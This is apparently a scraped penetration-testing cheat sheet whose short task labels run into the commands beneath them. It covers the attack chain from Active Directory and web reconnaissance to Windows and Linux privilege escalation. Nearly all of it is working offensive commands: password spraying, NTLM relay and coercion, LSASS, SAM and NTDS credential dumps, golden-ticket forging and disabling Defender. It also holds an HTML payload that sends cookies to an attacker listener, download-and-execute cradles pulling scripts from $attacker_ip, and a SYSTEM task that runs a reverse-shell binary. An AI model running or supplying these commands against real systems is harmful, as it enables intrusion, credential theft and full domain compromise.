Request ANY records from the DC
Pull broad DNS records and AD SRV entries from the domain controller
dig ANY $domain @$dc_ipExpect: A/AAAA/NS/MX/TXT and related records when the server answers ANY
Pull broad DNS records and AD SRV entries from the domain controller
dig ANY $domain @$dc_ipExpect: A/AAAA/NS/MX/TXT and related records when the server answers ANY
Pull broad DNS records and AD SRV entries from the domain controller
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='$domain'" $dc_ipExpect: LDAP, Kerberos, GC, and related SRV hosts
Read namingContexts and domain hints from RootDSE without credentials
ldapsearch -x -H ldap://$dc_ip -s base namingContexts defaultNamingContext dnsHostNameExpect: defaultNamingContext / namingContexts and often dnsHostName
If guest is enabled, retry authenticated or guest access using findings from the export
enum4linux-ng.py -As $ip -oY outExpect: out*.yaml with users, shares, groups, and password policy hints
Spray user and password lists against SSH, RDP, or SMB when cred guessing is in scope
hydra -L users.txt -P $wordlist $target ssh -t 4Spray user and password lists against SSH, RDP, or SMB when cred guessing is in scope
hydra -L users.txt -P $wordlist rdp://$ip -s 3389Swap -l for -L users.txt when spraying many accounts
hydra -l $user -P pass.txt $ip smbEnumerate SMB without credentials
nxc smb $target -u '.' -p '.' --shares --usersEnumerate SMB without credentials
nxc smb $target -u 'guest' -p '' --shares --usersDeep port coverage, script inventory, and targeted vuln checks beyond a basic service scan
nmap -A -Pn $target -oN scan.txtDeep port coverage, script inventory, and targeted vuln checks beyond a basic service scan
nmap --top-ports 6000 $targetDeep port coverage, script inventory, and targeted vuln checks beyond a basic service scan
ls -al /usr/share/nmap/scripts | grep -e "ssh"Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan
ls -al /usr/share/nmap/scripts | grep -e "snmp"Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan
nmap -p443 --script ssl-heartbleed $targetFirst-contact port and service scan
nmap -sVC -vv $target -o result.logExpect: open ports, services, ssl-cert commonName
ssl-cert commonName often reveals the DC hostname to add to /etc/hosts
nmap -p 80,443,3299 $targetUse that address for coerce listeners and PetitPotam-style callbacks
ip -4 a show tun0 eth0 | grep inet
export attacker_ip=$(ip -4 -o a | awk '/scope global/{print $4; exit}')Choose a relay or capture path, then coerce the DC for machine NTLM auth
nxc smb $cidr -u $user -p '$pass' --gen-relay-list targets.txtImportant: Domain controllers require SMB signing; relay list excludes them
Choose a relay or capture path, then coerce the DC for machine NTLM auth
ntlmrelayx.py -tf targets.txt -smb2supportChoose a relay or capture path, then coerce the DC for machine NTLM auth
nxc ldap $dc_ip -u $user -p '$pass' -M adcsPrefer this over SMB relay when ADCS exists; follow with PFX to TGT (see petitpotam POC)
ntlmrelayx.py --target http://$target/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerOmit -I to auto-select the listening interface
sudo responder -I eth0 -vChoose a relay or capture path, then coerce the DC for machine NTLM auth
ntlmrelayx.py -tf targets.txt -smb2support --no-da --no-aclChoose a relay or capture path, then coerce the DC for machine NTLM auth
coercer coerce --target-ip $dc_ip -d $domain -u $user -p '$pass' --filter-protocolname Efsr,PrinterImportant: Coercion RPC (MS-EFSR, MS-RPRN, DFS) works over SMB even when signing is enabled
Expect: Callback at the relay listener when a method succeeds
Set $attacker_ip to the reachable interface from Setup
nxc smb $dc_ip -u $user -p '$pass' -M coerce_plus -o L=$attacker_ip ALWAYS=trueExpect: NTLM at the listener; relay per Check 1/2 or crack offline
Use the port from nmap if not 3389
rdesktop $ip:3389 -fList domain users over RPC with null or anonymous binding
rpcclient -U "" -N $targetList domain users over RPC with null or anonymous binding
rpcclient -U '%' $ip -c 'enumdomusers'List domain users over RPC with null or anonymous binding
rpcclient -U '%' $ip -c 'querydispinfo'Expect: Usernames and display names usable for AS-REP or spraying lists
See whether SMB signing is required before planning NTLM relay
nmap -Pn -sS -T4 --open --script smb-security-mode -p445 $ipExpect: message_signing: required / supported / disabled
Align system time for Kerberos and certificate validation
rdate -n $ipUse the hostname or IP that answers NTP (ssl-date from nmap helps pick the source)
faketime "$(ntpdate -q $target | awk '{print $1 " " substr($2,1,8)}')"Learn SMTP verbs, NTLM domain leaks, and valid users via VRFY
nmap -p25 --script smtp-commands $ipLearn SMTP verbs, NTLM domain leaks, and valid users via VRFY
nmap -p25 --script smtp-ntlm-info $ipExpect: NetBIOS / DNS domain names when NTLM is enabled
Learn SMTP verbs, NTLM domain leaks, and valid users via VRFY
smtp-user-enum -M VRFY -U users.txt -t $ipExpect: Exists / not exists lines for each user
List domain users, groups, and resolve names to SIDs over an authenticated RPC session
rpcclient -U "$domain/$user%$pass" $target -c "enumdomusers"Expect: user accounts and RIDs
List domain users, groups, and resolve names to SIDs over an authenticated RPC session
rpcclient -U "$domain/$user%$pass" $target -c "enumdomgroups"Expect: group names and RIDs
Run lookupnames inside the rpcclient shell for each account of interest
rpcclient -U "$domain/$user%$pass" $target
lookupnames administratorExpect: SID for the given name
Replace the SID with output from lookupnames or enumdomusers
rpcclient -U "$domain/$user%$pass" $target
lookupsids S-1-5-21-...Discover readable SMB shares once you have domain credentials
smbclient -U "$user@$domain" -L //$target/Expect: share names (e.g. IT, SYSVOL, IPC$)
Find vulnerable certificate templates and map the AD CS attack surface
nxc ldap $dc_ip -u $user -p $pass -M adcsExpect: CA CN name for later certipy -ca flags
Find vulnerable certificate templates and map the AD CS attack surface
certipy find -dc-ip $dc_ip -u $user -p $pass -vulnerable -stdoutExpect: ESC-style misconfigurations and enrollable templates
Focus on non-default templates; full ESC UPN chains live under ad-edges (esc-upn-ca)
certipy find -dc-ip $dc_ip -u $user -p $pass -stdoutAuthenticate with a PFX over Schannel and open an LDAP shell
certipy auth -pfx $pfx_file -dc-ip $dc_ip -ldap-shellExpect: Interactive LDAP shell (#) after successful PKINIT/Schannel auth
Extract and crack common offline archive and key formats
zip2john file.zip > zip.john && john zip.john --wordlist=$wordlistExtract and crack common offline archive and key formats
7z2john.pl file.7z > 7z.john && john 7z.john --wordlist=$wordlistExtract and crack common offline archive and key formats
keepass2john file.kdbx > kp.john && john kp.john --wordlist=$wordlistExtract and crack common offline archive and key formats
ssh2john.py id_rsa > ssh.john && john ssh.john --wordlist=$wordlistConfirm local or domain admin, dump secrets, and get an interactive shell
nxc smb $target -u $user -p $pass --local-authExpect: Pwn3d when local admin; Pwn3d on the DC implies domain admin
Look for Domain Admins or other high-value group membership
nxc ldap $dc_ip -u $user -p $pass --groupsConfirm local or domain admin, dump secrets, and get an interactive shell
nxc smb $target -u $user -p $pass --samConfirm local or domain admin, dump secrets, and get an interactive shell
nxc smb $target -u $user -p $pass --lsa --samConfirm local or domain admin, dump secrets, and get an interactive shell
nxc smb $dc_ip -u $user -p $pass --ntdsExpect: NTLM hashes for domain accounts
Confirm local or domain admin, dump secrets, and get an interactive shell
impacket-psexec '$domain/$user:$pass@$target'Executes commands in-process via WMI; useful when PsExec is blocked
impacket-wmiexec -hashes :$hash '$domain/$user@$target'Read gMSA managed passwords when LDAP Kerberos auth works
nxc ldap $dc_ip -u $user -p $pass --gmsaExpect: gMSA accounts (names ending in $) and hex/blob password material when permitted
Crack common AD hash formats with the right hashcat mode
hashcat -m 13100 -a 0 hashes $wordlistCrack common AD hash formats with the right hashcat mode
hashcat -m 1000 -a 0 hashes $wordlistCrack common AD hash formats with the right hashcat mode
hashcat -m 5600 -a 0 hashes $wordlistCrack common AD hash formats with the right hashcat mode
hashcat -m 18200 -a 0 asrep.hashes $wordlistCrack common AD hash formats with the right hashcat mode
hashcat -a 0 -m 1000 hashes $wordlist -r /usr/share/doc/hashcat/rules/best64.ruleDecrypt with gpp-decrypt / Get-GPPPassword once you have the ciphertext
findstr /S /I cpassword \\$domain\sysvol\$domain\policies\*.xmlExpect: Path to XML containing cpassword=...
Dump LSASS locally or remotely and extract logon secrets
procdump.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmpExpect: lsass.dmp written under Public
Dump LSASS locally or remotely and extract logon secrets
mimikatz.exe "privilege::debug" "sekurlsa::minidump C:\Users\Public\lsass.dmp" "sekurlsa::logonPasswords" "exit"Expect: NTLM hashes and cleartext passwords when present
Dump LSASS locally or remotely and extract logon secrets
nxc smb $target -u $user -p $pass -M lsassyAuthenticated SMB sweeps once you have a valid account
nxc smb $target -u $user -p $pass --rid-bruteExpect: domain user list
Pwn3d means local admin; Pwn3d against the DC means domain admin
nxc smb $target -u $user -p $pass --local-authAuthenticated SMB sweeps once you have a valid account
nxc smb $target -u $user -p $pass --samAuthenticated SMB sweeps once you have a valid account
nxc smb $target -u $user -p $pass --lsaAuthenticated SMB sweeps once you have a valid account
nxc smb $dc_ip -u $user -p $pass --ntdsExpect: full domain hash dump
Find which hosts expose LAPS and read ms-mcs-AdmPwd when allowed
Get-DomainObject $target -Properties 'ms-mcs-AdmPwd',nameExpect: ms-mcs-AdmPwd plaintext when you have rights
Find which hosts expose LAPS and read ms-mcs-AdmPwd when allowed
Find-LAPSDelegatedGroups; Get-LAPSComputersExpect: Delegated groups and computers with AdmPwd set
Run on $attacker_ip before triggering the payload
nc -lnvp 8000Insert via vulnerable form or reflected field; any GET on the listener confirms outbound reach
<img src="http://$attacker_ip:8000/anything.png" />Expect: Connection or HTTP request logged on nc
Confirm outbound CSRF and test exfiltration of privileged cookies
Return full HTML that reads document.cookie and sends it to http://$attacker_ip:8000/
Use btoa/atob encoding if filters block plain cookie stringsImportant: Works when the app renders your HTML in a session that holds sensitive cookies
Run jwt_tool attack suite against an API and brute weak HMAC secrets
python3 jwt_tool.py -M at -t "$url" \
-rh "Authorization: Bearer $jwt" -rh "Cookie: $cookies"Expect: Pass/fail for common JWT misconfigurations
Run jwt_tool attack suite against an API and brute weak HMAC secrets
python3 jwt_tool.py -d $wordlist $jwtExpect: Cracked secret when the key is in the wordlist
/proc is the kernel process view; self is the current web worker
curl "http://$target/download.php?f=../../../proc/self/environ"Read environ, app metadata, and system files through LFI
curl "http://$target/download.php?f=../../../proc/self/cwd/package.json"Replace PID with a process ID from errors, /proc listing, or ss/ps output
curl "http://$target/download.php?f=../proc/PID/cwd/.env"Some PHP normalizers collapse ....// to ../
curl "http://$target/download.php?f=....//....//....//....//etc/passwd"Run Nikto against HTTP or HTTPS on a chosen port
nikto -h http://$target -p 8080Omit -p when the service listens on 443
nikto -h http://$target -sslRun from the dumped site root; Snyk is an alternate if OpenGrep is unavailable
opengrep scan -f /opt/semgrep-rules/php .Expect: Rule findings including SQLi and dangerous sinks
SecLists: /usr/share/seclists/Discovery/Web-Content/ common.txt, raft-medium-directories.txt, raft-medium-files.txt, big.txt /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -c -u http://$target/FUZZ -w $wordlist -t 50Discover hidden paths, subdomains, and vhosts with ffuf-first tooling
ffuf -u http://FUZZ.$domain -c -w $wordlist -fs 0Discover hidden paths, subdomains, and vhosts with ffuf-first tooling
ffuf -u http://$domain -c -w $wordlist -H 'Host: FUZZ.$domain' -fs 0Discover hidden paths, subdomains, and vhosts with ffuf-first tooling
ffuf -u http://$ip -H 'Host: FUZZ.$domain' -w $wordlist -fs 0Discover hidden paths, subdomains, and vhosts with ffuf-first tooling
ffuf -c -u http://$target/FUZZ -w $wordlist -recursionRecon the surface, abuse LFI/SSRF, then stabilize a web shell
ffuf -u http://$target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200-headless runs without a browser (no JS)
nuclei -target $target -fr -headlessRecon the surface, abuse LFI/SSRF, then stabilize a web shell
git-dumper http://$target/.git ~/websiteExpect: source and commit history for credential hunting
/proc/self is the current web process; cwd is its working directory
curl "http://$target/download.php?f=../../../proc/self/cwd/.env"Recon the surface, abuse LFI/SSRF, then stabilize a web shell
curl "http://$target/fetch?url=file:///etc/passwd"Look for files you can modify for a reverse shell as root
ps -ef --forestRecon the surface, abuse LFI/SSRF, then stabilize a web shell
ss -tunlp | grep -i '127.0.0.1'From attacker machine open http://127.0.0.1:8888
ssh -L 8888:127.0.0.1:8888 $user@$ipCombine with ps -ef --forest (web-pentest-poc) to spot writable scripts run as root
ps -ef | grep rootFind privesc paths, credentials, and internal services after a web shell
find . -type f -exec file {} \; > /dev/shm/files.lstExpect: files.lst listing binaries, scripts, and config candidates
Find privesc paths, credentials, and internal services after a web shell
ss -lntpAdjust port; use SSH -L from web-pentest-poc to reach loopback-only services from $attacker_ip
curl -I 127.0.0.1:8888Enumerate WordPress users, plugins, and themes for follow-on vulns
wpscan --url $url --enumerate u,ap,at --disable-tls-checksExpect: User list and plugin/theme versions
Run from attack box; import the output JSON into BloodHound to map WriteOwner, GenericAll, and CA paths
rusthound-ce --domain $domain -u $user -p $pass -zReplace the base DN with your domain naming context (e.g. DC=fluffy,DC=htb)
ldapsearch.py $domain/$user:'$pass' -dc-ip $dc_ip \
-base-dn "DC=corp,DC=local" -filter '(objectClass=domain)' \
-attributes ms-DS-MachineAccountQuotaExpect: Quota value; default is often 10; 0 means you cannot add a computer without another path
Full control over the object; run whichever abuse fits your target
certipy shadow auto -target $domain -dc-ip $dc_ip -username $user@$domain -password $pass -account MANAGEMENT_SVC$Expect: writes msDS-KeyCredentialLink, dumps the NT hash, auto-cleans
Then getTGT with the new password
rpcclient -U '$domain/$user%$pass' $dc_ip -c 'setuserinfo2 MANAGEMENT_SVC$ 23 "Pwned123!"'GenericAll includes WriteMembers, so no dacledit needed
net rpc group addmem Management $user -U $domain/$user%$pass -S $dc_ipFull control over the object; run whichever abuse fits your target
python3 targetedKerberoast.py -d $domain -u $user -p $pass --dc-ip $dc_ip --victim-user ca_operatorExpect: TGS hash to crack with mode 13100
Export KRB5CCNAME=./administrator.ccache before using the ticket
ticketer.py -nthash $krbtgt_hash -domain-sid $domain_sid \
-domain $domain administratorExpect: administrator.ccache (or similar) written
Forge a golden TGT or silver TGS once you have krbtgt or a service account hash
ticketer.py -nthash $service_hash -domain-sid $domain_sid \
-domain $domain -spn cifs/$target $userExpect: Silver TGS ccache for the SPN
Confirm what shell you have, then spawn a full interactive TTY
echo $0
ps -p $$
command -v bash python3 perl script socat$SHELL is the default from passwd; $0 and ps -p $$ show the actual session
echo $SHELL
cat /etc/passwd | grep $USER
ls /bin/*sh /usr/bin/*sh 2>/dev/nullAfter spawn, press Ctrl+Z on your listener, then locally: stty raw -echo; fg export TERM=xterm
python3 -c 'import pty; pty.spawn("/bin/bash")'Baseline identity, network, sudo rights, and stego on a new foothold
id && hostname && uname -a && cat /etc/os-releaseBaseline identity, network, sudo rights, and stego on a new foothold
ip a
ip routesudo -n true exits 0 when NOPASSWD applies; compare with sudo -l output
sudo -n true 2>&1
sudo -l
sudo -n -l 2>&1Baseline identity, network, sudo rights, and stego on a new foothold
historyInspect the output file stegseek writes
stegseek img.pngRead the real rows and columns from stty -a, then set them
stty -a
stty rows 30 cols 121First moves on a fresh Linux shell, pick what the box needs
grep 'sh$' /etc/passwdFirst moves on a fresh Linux shell, pick what the box needs
groupsCopy the key value from the BEGIN line through the END line
echo "$key_contents" > id_found
chmod 600 id_found
ssh -i id_found root@$ipFirst moves on a fresh Linux shell, pick what the box needs
sqlite3 file.db .dumpExpect: table contents, often credentials
Move tools and loot over SSH with scp
scp ./tool $user@$ip:/tmp/toolMove tools and loot over SSH with scp
scp $user@$ip:/tmp/loot ./lootFind scheduled jobs or service units you can abuse for privesc
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/Find scheduled jobs or service units you can abuse for privesc
crontab -lFind scheduled jobs or service units you can abuse for privesc
systemctl list-timersWritable .service files may let you replace ExecStart for root execution
ls -la /etc/systemd/system/Surface writable configs, histories, backups, keys, and env secrets
cat /etc/issue
cat /etc/os-releaseSurface writable configs, histories, backups, keys, and env secrets
find / -name "*.conf" -writable 2>/dev/nullSurface writable configs, histories, backups, keys, and env secrets
cat ~/.bash_history /home/*/.bash_historySurface writable configs, histories, backups, keys, and env secrets
ls -la /var/backups/ /opt/ /tmp/ /var/mail/Surface writable configs, histories, backups, keys, and env secrets
find / -name "id_rsa" -o -name "*.kdbx" -o -name "*.bak" 2>/dev/null | grep -v procSurface writable configs, histories, backups, keys, and env secrets
grep -ri "pass" /etc/ /opt/ /home/ --include="*.conf" --include="*.php" 2>/dev/nullSurface writable configs, histories, backups, keys, and env secrets
envLook for files you can modify for a reverse shell or that hold creds
find / -group $group_name 2>/dev/nullFind group-writable files, stage payloads in memory, hunt root processes
df -h | grep tmpfsFind group-writable files, stage payloads in memory, hunt root processes
find /dev/shm -type f 2>/dev/null/dev/shm is shared memory, so the payload never touches disk
cp /tmp/linpeas.sh /dev/shm/ && cd /dev/shm && bash linpeas.shFind group-writable files, stage payloads in memory, hunt root processes
ps -ef --forest | less -SFull path is often C:\Program Files\Windows Defender\MpCmdRun.exe
mpcmdrun.exe -DownloadFile -url http://$attacker_ip/tool.exe \
-path C:\Users\Public\tool.exeExpect: tool.exe written under Public
Get an interactive PowerShell session over WinRM with password or hash
evil-winrm -i $ip -u $user -p '$pass'Expect: Evil-WinRM prompt
Get an interactive PowerShell session over WinRM with password or hash
evil-winrm -i $ip -u $user -H $hashExpect: Evil-WinRM prompt
Get an interactive PowerShell session over WinRM with password or hash
Test-WSMan -ComputerName $targetExpect: wsmid ProductVersion when WinRM is up
Prefer download-to-disk when AMSI/AppLocker policy requires a different staging path
(New-Object Net.WebClient).DownloadString('http://$attacker_ip/script.ps1') | IEXPrefer Public, Tasks, Temp, and ProgramData over user profile paths when dropping binaries
dir C:\Users\Public
dir C:\Windows\Tasks
dir C:\Windows\Temp
dir C:\ProgramDataRun inside an evil-winrm session; path on the left is local to your attack box
upload /opt/GodPotato.exe C:\Users\Public\GodPotato.exeStage tools and scripts on disk using WinRM upload, certutil, or in-memory cradles
upload /opt/nc.exe C:\Users\Public\nc.exeStage tools and scripts on disk using WinRM upload, certutil, or in-memory cradles
certutil -urlcache -f http://$attacker_ip/winPEAS.exe C:\Users\Public\winPEAS.exeStage tools and scripts on disk using WinRM upload, certutil, or in-memory cradles
wget -useb http://$attacker_ip/PowerUp.ps1|iex; invoke-AllChecksMap identity, network, and OS context on a fresh Windows shell before privesc
whoami /userSeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege matter for privesc; abuse steps live in privesc-windows notes
whoami /privMap identity, network, and OS context on a fresh Windows shell before privesc
whoami /groupsMap identity, network, and OS context on a fresh Windows shell before privesc
hostnameMap identity, network, and OS context on a fresh Windows shell before privesc
systeminfoMap identity, network, and OS context on a fresh Windows shell before privesc
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"Map identity, network, and OS context on a fresh Windows shell before privesc
ipconfig /allMap identity, network, and OS context on a fresh Windows shell before privesc
route printMap identity, network, and OS context on a fresh Windows shell before privesc
net userMap identity, network, and OS context on a fresh Windows shell before privesc
net user /domain 2>nulExpect: Domain user listing when domain-joined; error when standalone
Map identity, network, and OS context on a fresh Windows shell before privesc
netstat -anoMap identity, network, and OS context on a fresh Windows shell before privesc
arp -aMap identity, network, and OS context on a fresh Windows shell before privesc
qwinstaMap identity, network, and OS context on a fresh Windows shell before privesc
tasklist /svcMap identity, network, and OS context on a fresh Windows shell before privesc
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v ReleaseMap identity, network, and OS context on a fresh Windows shell before privesc
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"Map identity, network, and OS context on a fresh Windows shell before privesc
cmd /c verCredential hunting, SAM dumps, service abuse, and potato chains belong in privesc-windows playbooks
Set-MpPreference -DisableRealtimeMonitoring $trueLand a shell on Windows with the credentials or hash you already have
evil-winrm -i $ip -u $user -p '$pass'Land a shell on Windows with the credentials or hash you already have
evil-winrm -i $ip -u $user -H $hashNeeds port 135; executes cmd in-process via WMI
impacket-wmiexec -hashes :$hash Administrator@$ipLand a shell on Windows with the credentials or hash you already have
rdesktop $ip:3389 -fOpen the exe/dll and search for hardcoded secrets
dnSpySurface passwords in files, registry, WiFi, saved creds, and local SAM hashes
Get-ChildItem -Path C:\ -Filter "ConsoleHost_history.txt" -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Filter "Anything.*" -Recurse -ErrorAction SilentlyContinueSurface passwords in files, registry, WiFi, saved creds, and local SAM hashes
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue |
Select-String -Pattern "password" -ListSurface passwords in files, registry, WiFi, saved creds, and local SAM hashes
dir /s /b ConsoleHost_history.txt
findstr /spin "password" C:\Users\*.txtSurface passwords in files, registry, WiFi, saved creds, and local SAM hashes
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtSurface passwords in files, registry, WiFi, saved creds, and local SAM hashes
dir /s /b C:\Users\*.txt *.xml *.ini *.config 2>nul
findstr /spin "password" C:\Users\*.txt C:\Users\*.xml C:\inetpub\*.config 2>nul
findstr /si pass *.txt *.xml *.config *.ini *.bat
dir /s *pass* *cred* *vnc* *.config 2>nulSurface passwords in files, registry, WiFi, saved creds, and local SAM hashes
reg query HKLM /f password /t REG_SZ /sReplace HomeNet with the profile name from the first command
netsh wlan show profiles
netsh wlan show profile name="HomeNet" key=clearUse the Domain:interactive= account shown by cmdkey /list; omit /savecred if not listed
cmdkey /list
runas /user:$domain\$user /savecred "C:\Users\Public\rev.exe"Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEMImportant: Requires elevation to save SAM; copy hives to attacker before cleanup
Crack NTLM with hashcat -m 1000; complements nxc --sam when you only have shell dumps
impacket-secretsdump -sam SAM -system SYSTEM LOCALPowerShell 7 — same PrivescCheck URL with Invoke-PrivescCheck after iwr/iex
IEX(New-Object Net.WebClient).DownloadString('http://$attacker_ip/PowerUp.ps1')
wget -useb http://$attacker_ip/PowerUp.ps1|iex; Invoke-AllChecksRun community privesc scanners for misconfigs and actionable abuse hints
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecksRun community privesc scanners for misconfigs and actionable abuse hints
. .\PrivescCheck.ps1
Invoke-PrivescCheckFind weak scheduled tasks and create a SYSTEM task when you have the rights
schtasks /query /fo LIST /vExpect: Task paths, run-as accounts, and triggers
Only when you can create tasks as SYSTEM; clean up the task afterward
schtasks /create /tn Update /tr "C:\Users\Public\rev.exe" \
/sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn UpdateFind directories writable by Users that sit on an auto-start / service path for planting
accesschk.exe /accepteula -uwdqs Users C:\Expect: Paths with FILE_ADD_FILE / WRITE for Users
Find directories writable by Users that sit on an auto-start / service path for planting
icacls "C:\path\to\suspect"Expect: (M)/(W)/(F) for Users or your group on the folder
Local ports, SAM/LSA dumps, and local admin group add
netstat -ano | findstr /v UDPLocal ports, SAM/LSA dumps, and local admin group add
nxc smb $target -u $user -p $pass --local-auth --samLocal ports, SAM/LSA dumps, and local admin group add
nxc smb $target -u $user -p $pass --local-auth --lsaLocal ports, SAM/LSA dumps, and local admin group add
net localgroup administrators $user /addCheck privileges, get a shell, impersonate, pick what fits
nxc mssql $host --local-auth -u $user -p $pass -M mssql_privExpect: results mean you can escalate
Then enum_db and enum_users
mssqlclient.py '$user:$pass@$host'Check privileges, get a shell, impersonate, pick what fits
enable_xp_cmdshell
xp_cmdshell whoamiCheck privileges, get a shell, impersonate, pick what fits
enum_impersonateExpect: logins you can switch to
Check privileges, get a shell, impersonate, pick what fits
execute as login = 'appdev'Check privileges, get a shell, impersonate, pick what fits
xp_dirtree \\$attacker_ip\share